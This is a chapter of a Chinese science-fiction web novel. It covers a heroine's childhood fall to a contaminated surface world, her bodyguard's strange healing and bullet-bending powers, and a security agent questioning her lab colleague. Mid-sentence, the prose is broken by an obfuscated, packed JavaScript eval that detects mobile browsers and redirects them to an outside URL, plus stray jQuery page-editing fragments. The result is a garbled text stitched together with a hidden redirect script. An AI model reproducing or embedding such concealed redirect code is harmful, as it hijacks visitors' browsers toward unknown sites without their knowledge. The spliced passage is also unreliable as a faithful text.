平都大学位于东二环至东三环之间,毗邻三区最为繁华的区域。从这里前往西城要经过中央电梯。
银白色的圆柱仿佛擎天柱,自城市地表拔地而起,直上云霄。江旌的目光自前挡风玻璃穿出,掠过无数耸立的玻璃大厦落在城市正中央的巨柱上,眸底黯沉下去。
夕阳的最后一缕光芒在城市边沿坠落消失后,霓虹灯纷纷亮起。那银白色的巨柱便笼罩在蓝蓝紫紫的光线里,又因云雾过境的缘故而朦胧变幻。
江旌的思绪不自觉飘远。
她知道孙令风和南宫霄害怕的是什么。
那是他们的童年阴影。
说来话长,简而言之,小学时代的江旌因为无人管教而养成了不知天高地厚的性子。很快便不满足于身边能闯的祸,而把目光投向了那座顶天立地的中央电梯。
于是在她的鼓舞下,她、孙令风和南宫霄三人一拍即合,偷偷潜进了巨型电梯内部。
本来只是打算偷偷溜去大人们明令禁止去的六区瞅瞅,结果他们一不小心从电梯井跌落下去,掉到了地面上。
孙家南宫家找了两个月,急得要发疯的时候,三个孩子安安静静地回家了。
孙南两家各自教训了自己小孩一顿,把他们关了禁闭,并明令禁止他们再和江旌那个狐朋狗友混在一起。
两家人平静了些后,喝问孙令风南宫霄还敢跑下去玩吗?
本来是想警告一下防止以后再发生这样的事情,谁知两个小孩却似乎想起了什么,面色发白,浑身战栗不止,甚至口吐白沫晕倒,都是惊恐发作。
大人们吓了一跳,急忙给自己小孩请来医生。两家人越想越气,便一齐去江家府邸找江旌要说法。
之后是孙家捉住了江旌,把她扭回了孙家住宅,却是问了许久问不出什么来。自己小孩问不了,江旌又不开口,便无人知晓三人到底在地面看见了什么。
最后是江寻一终于得知了这件事,万里迢迢回来把江旌带走。
孙母孙如许站在暗沉的木制大门前,对江寻一说:“你不教不管你的小孩,有人会替你管教。”
江寻一忍着怒意掀眸:“这件事一开始的确是他们犯了错,但去了地面还能回来,我相信他们已经学到教训了。回来的他们本是凯旋的战士,应得掌声与鲜花,而不是呵斥与打骂。”
孙如许垂下眼睫,片刻道:“虽然不知道地面现在到底怎么样了,但三个十岁左右的孩子都能活着回来,至少说明…污染已经没有那么严重了。可以开发地面了。”
江寻一好笑:“那是你们的事,到时候手上沾了血,与我无关。”话音落下,便抱着江旌转身离开。
两人都以为江旌昏迷了才说了这些话,但其实她是清醒的。
在那之后,平都上层发了个开荒鼓励的文件,说六区与地面之间的电梯对六区全体居民开放,他们可以自由前往地面进行开拓。只要成功开垦土地并获得收成,无论大小,那片土地的经营权都永久归拓荒者所有。并且平都还空投了不少先进的农业机械下去。一时间,开荒热燃遍了六区。
得知此事时,江旌在上初中。她嗤笑一声,说那些人下去了就回不来了。旁人还觉得莫名其妙,结果果真如她所言,不出半年,平都便封闭了中央电梯的上行通道,只许从六区去地面,不许地面的人再上来。
为此六区曾发生过一定规模的抗议与暴乱,但都被压下去了。
之后便一直维持这种状态至今。
江旌再次望向那被霓虹灯渲染上模糊蓝紫色的中央电梯,握操纵杆的指尖微微蜷曲。当年便是这根“擎天柱”,载着他们三个半大的孩子跌入地面的炼狱里……
孙令风和南宫霄是怕李仓变作丧尸了——这是他们在地面见过的其中一个景象,算是后续一切的前兆。所以他们俩那般恐惧。
不过江旌亲自去太平间处理过,她知道不会。
当然,即便会,她也会护孙令风南宫霄平安无事。这是那一年,她在焦黑的地面上坚定许下的誓言。
江旌敢闯祸,便敢担责。她说此事都是因她而起,她自然会承担一切责任。她说,她会送孙令风和南宫霄平安回家,哪怕是踩着她的血肉与枯骨。
西城的房屋相较东城年代要久远些,风格也不同,多是平楼,一两层平房或是三四层别墅居多。
江旌驾驶着飞车落下去,驶入一处别院。
严旭东望出去,这一片低矮房屋在四围的高楼林立中显得格外不和谐。能在寸土寸金的市中心盖平楼…
“如果是我,铁定盖栋摩天大楼,一层层租出去,每天光躺着都不知能赚多少钱。啧啧,有钱人反而不懂得挣钱了。”他心里的声音说道。
飞车徐徐在前院停下,修剪平整的草坪便自动往两旁滑动开,露出地下车库的入口。
江旌却不把车开下去,而是开门下车。
严旭东见状,忙不迭开门,撑着双腿也要下车,眼前便递过来两杆拐棍。
他接过,抬眸去看时,那人已经转身往房屋前门走去了。
严旭东便低头,握着拐杖起身下车。车门自动关闭,车子下方的地面竟自己移动起来,将车辆送入了车库入口,接着,两块草坪滑回来关闭。
院内修饰得别有些情调,柳树松针,假山荷塘,凉亭流水,一样不缺。正中是栋三层别墅,白墙红瓦,与院内的风格迥异,仿佛房屋由一人设计,院子则出自另一人手笔。
严旭东拄拐在偌大的院子里巡视一圈,细细检查各个角落,确定没有异常,便到前院去,立在一个可以将整栋别墅收入眼底的位置。
江旌在二层客厅阳台望了他一眼,便回身去书房看书。
她喊人帮忙订购一批最新的国际顶尖期刊,全部送到学校去,她明天好拿回她自己的房子去。
接着便拿了草稿纸来运算。笔记本不在身边无所谓,那些公式都印在她脑海里了,随时有笔就可以进行推导计算。
江旌自认记性极差,事实也的确如此,但她独独在学习上记忆力不错,学过一遍的,甚至看过一遍的便不会忘记。
一面计算着,一面脑海里还在想着别的事情。严旭东今天被她逼得露出马脚了。呵,子弹瞬间转向避开了他的头部?高速运动的物体不可能瞬间转向,除非它没有质量。
如此便是违背了这个世界的物理法则。
能做到的,便不是这个世界的力量。
换言之,严旭东让子弹瞬间变向的能力并不属于这个世界。
江旌暂时不清楚他们自封的所谓白蛇黑蛇到底是什么,但她知道无论白蛇黑蛇都有一个共同点。
他们都与异界的势力做了交易,因而获取了异界的能力,即异能。
严旭东静默立在院内,看别墅窗户透出的灯光直到凌晨依然亮着,便在心里猜测江旌是不是习惯开着灯睡觉。毕竟这点电费应该入不了她的眼。
三点多的时候下起了小雨。院中唯一能避雨的地方是那处凉亭,但位于假山旁,会遮挡视线,严旭东便没有过去。
“啧,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662335|188504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的腿还真的好了。”白日那声音在他耳畔说。
严旭东收回目光,才察觉那持续了一整天的剧烈疼痛已经消失了,低头解开腿上的纱布,竟真的见伤处已经恢复得完好如初。
他再度抬头,别墅内的灯光已经尽数熄灭了。哦,原来江旌是熬夜党。
……
翌日,江旌每堂课都按时去上,其间有一堂和孙令风一起的课程,孙令风瞧见她便惊呼:“哟,浪子回头了?居然这么认真地来上课?”
江旌淡淡回一句:“突然觉得其他事情都蛮无聊的,才发现偶尔上上课也挺有趣的。”
“……”孙令风以眼神回怼:你滚吧,居然敢说上课有趣,叉出去!
不过片刻后,孙令风敛了色,正色给江旌说了她和南宫霄发现的狙击手记录,还说了她这周末打算去一区一趟。
江旌倒没有她那么上心,随口道:“不用去的,李仓不会感染的。”
“欸?”孙令风没想到江旌会知道得更多,但见江旌没有要解释的意思,便凝神点头:“我明白了,不是就好。”
“至于那个狙击手为什么要摄像,”江旌说着,弯起唇角,孙令风见了,不知为何觉一抹寒意攀上脊背,“他们想试着逼我到死境,逼出我的秘密,录下来告诉全世界。”
“给南宫霄也说一声,如果之后再发现这种视频,不用封锁,让它们流传便是。”
“好。”
这天下午全校公休,为晚上的校庆典礼做准备。
午饭江旌没和孙令风南宫霄一起吃,而是回家去自己做了吃。
所有的玻璃已经更换完毕,除了看起来似乎更亮一些并没有什么区别。江旌到窗边检查一番,嗯不错,地面没有灰尘,还知道打扫干净,可以给好评。
午饭后她拿针管吸取愈合剂给自己注射了,闭目用力靠着椅背几分钟,起身换去被冷汗浸润的衣衫,便出门去学校,打算再去国实楼做几支愈合剂。
陈知衍正仰靠在椅子里,拿书籍放在脸上盖着午睡。他常年泡在实验室里,习惯了这种抓紧间隙睡觉的作息。
江旌一敲门他便醒了,看清来者后随便摆了下手:“去去,我不是客气,你真的不用跟我打招呼的,直接去就好。”
“好诶,谢谢学长。”江旌笑开颜,拉上门出去。
陈知衍是生化专业的博士生。他本科的时候曾跟着导师做项目,那时平大有一些青少年计划,邀请学习特别好的中学生来项目里体验。陈知衍便是这么认识江旌的。
那时候他对此是嗤之以鼻的,觉得什么所谓的让优秀的中学生来体验,无非就是某些人拿来镀金用的。而江旌全程也的确表现得兴致缺缺,偶尔进实验室也不过做做往水里加钠一类的过家家般的实验罢了。
所以陈知衍对江旌是不设防的,她想用实验室便去用呗,不过就是大小姐兴致来了,去玩一玩罢了。
可这回江旌刚走,后脚就来了人。
“您好,平都一区安全部门,请您配合调查。”一身黑色西服的人自外套内侧口袋里拿出镶着金穗的探员证,递到他眼前,语气严肃。
陈知衍看了眼,腾的一下站起身来。
“别紧张,我只是问一个问题就走,这次没申请搜查令,不会进实验室查。”那人见他惊吓得面无血色,微笑抬手道,但笑意仅仅浮于表面,未深入眼里。
“您、您说。”
“江旌,哦抱歉,更准确地说,平都大学本科金融77-2班的江旌,是否来使用过实验室?”